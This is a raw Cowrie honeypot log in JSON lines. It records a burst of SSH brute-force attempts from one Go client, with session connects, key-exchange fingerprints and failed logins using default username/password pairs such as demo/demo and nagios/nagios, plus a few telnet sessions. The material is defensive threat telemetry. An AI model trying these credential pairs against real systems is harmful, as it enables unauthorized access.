{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43778,"dst_ip":"10.17.0.5","dst_port":22,"session":"149c4fed94a8","protocol":"ssh","message":"New connection: 192.109.200.78:43778 (10.17.0.5:22) [session: 149c4fed94a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:07.944956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:07.949972Z","src_ip":"192.109.200.78","session":"149c4fed94a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:08.037969Z","src_ip":"192.109.200.78","session":"149c4fed94a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:08.419053Z","src_ip":"192.109.200.78","session":"149c4fed94a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:09.505449Z","src_ip":"192.109.200.78","session":"149c4fed94a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56638,"dst_ip":"10.17.0.5","dst_port":22,"session":"170e8937fb95","protocol":"ssh","message":"New connection: 192.109.200.78:56638 (10.17.0.5:22) [session: 170e8937fb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:12.231934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:12.236505Z","src_ip":"192.109.200.78","session":"170e8937fb95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:12.324576Z","src_ip":"192.109.200.78","session":"170e8937fb95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:12.571819Z","src_ip":"192.109.200.78","session":"170e8937fb95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:13.656336Z","src_ip":"192.109.200.78","session":"170e8937fb95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56670,"dst_ip":"10.17.0.5","dst_port":22,"session":"75ce8f42ea02","protocol":"ssh","message":"New connection: 192.109.200.78:56670 (10.17.0.5:22) [session: 75ce8f42ea02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:16.264733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:16.273383Z","src_ip":"192.109.200.78","session":"75ce8f42ea02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:16.358243Z","src_ip":"192.109.200.78","session":"75ce8f42ea02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:16.611637Z","src_ip":"192.109.200.78","session":"75ce8f42ea02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:17.696505Z","src_ip":"192.109.200.78","session":"75ce8f42ea02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33998,"dst_ip":"10.17.0.5","dst_port":22,"session":"a626e31244de","protocol":"ssh","message":"New connection: 192.109.200.78:33998 (10.17.0.5:22) [session: a626e31244de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:20.543825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:20.548055Z","src_ip":"192.109.200.78","session":"a626e31244de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:20.631315Z","src_ip":"192.109.200.78","session":"a626e31244de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:20.888856Z","src_ip":"192.109.200.78","session":"a626e31244de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:22.047009Z","src_ip":"192.109.200.78","session":"a626e31244de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34004,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3ba8bb1d4cd","protocol":"ssh","message":"New connection: 192.109.200.78:34004 (10.17.0.5:22) [session: a3ba8bb1d4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:24.588795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:24.737216Z","src_ip":"192.109.200.78","session":"a3ba8bb1d4cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:24.740872Z","src_ip":"192.109.200.78","session":"a3ba8bb1d4cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.14406704902649,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:25.337069Z","src_ip":"5.42.229.203","session":"9fc6673a5870","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:25.666450Z","src_ip":"192.109.200.78","session":"a3ba8bb1d4cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.68438792228699,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:25.989180Z","src_ip":"5.42.229.203","session":"0059c4c307fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:26.750579Z","src_ip":"192.109.200.78","session":"a3ba8bb1d4cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":53786,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd97cf441219","protocol":"telnet","message":"New connection: 5.42.229.203:53786 (159.203.135.109:23) [session: bd97cf441219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:29.908036Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57718,"dst_ip":"10.17.0.5","dst_port":22,"session":"b954f6be4567","protocol":"ssh","message":"New connection: 192.109.200.78:57718 (10.17.0.5:22) [session: b954f6be4567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:30.927018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:30.931079Z","src_ip":"192.109.200.78","session":"b954f6be4567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:31.012480Z","src_ip":"192.109.200.78","session":"b954f6be4567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:31.271862Z","src_ip":"192.109.200.78","session":"b954f6be4567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:32.356217Z","src_ip":"192.109.200.78","session":"b954f6be4567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57732,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3dba541101e","protocol":"ssh","message":"New connection: 192.109.200.78:57732 (10.17.0.5:22) [session: b3dba541101e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:33.014750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:33.019253Z","src_ip":"192.109.200.78","session":"b3dba541101e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:33.108752Z","src_ip":"192.109.200.78","session":"b3dba541101e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:33.361920Z","src_ip":"192.109.200.78","session":"b3dba541101e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:34.556317Z","src_ip":"192.109.200.78","session":"b3dba541101e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57742,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fc1e67ee4c1","protocol":"ssh","message":"New connection: 192.109.200.78:57742 (10.17.0.5:22) [session: 1fc1e67ee4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:37.344297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:37.349192Z","src_ip":"192.109.200.78","session":"1fc1e67ee4c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:37.434920Z","src_ip":"192.109.200.78","session":"1fc1e67ee4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:38.003032Z","src_ip":"192.109.200.78","session":"1fc1e67ee4c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:39.089525Z","src_ip":"192.109.200.78","session":"1fc1e67ee4c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50772,"dst_ip":"10.17.0.5","dst_port":22,"session":"0732785cae55","protocol":"ssh","message":"New connection: 192.109.200.78:50772 (10.17.0.5:22) [session: 0732785cae55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:41.493640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:22:41.498266Z","src_ip":"192.109.200.78","session":"0732785cae55","protocol":"ssh"}
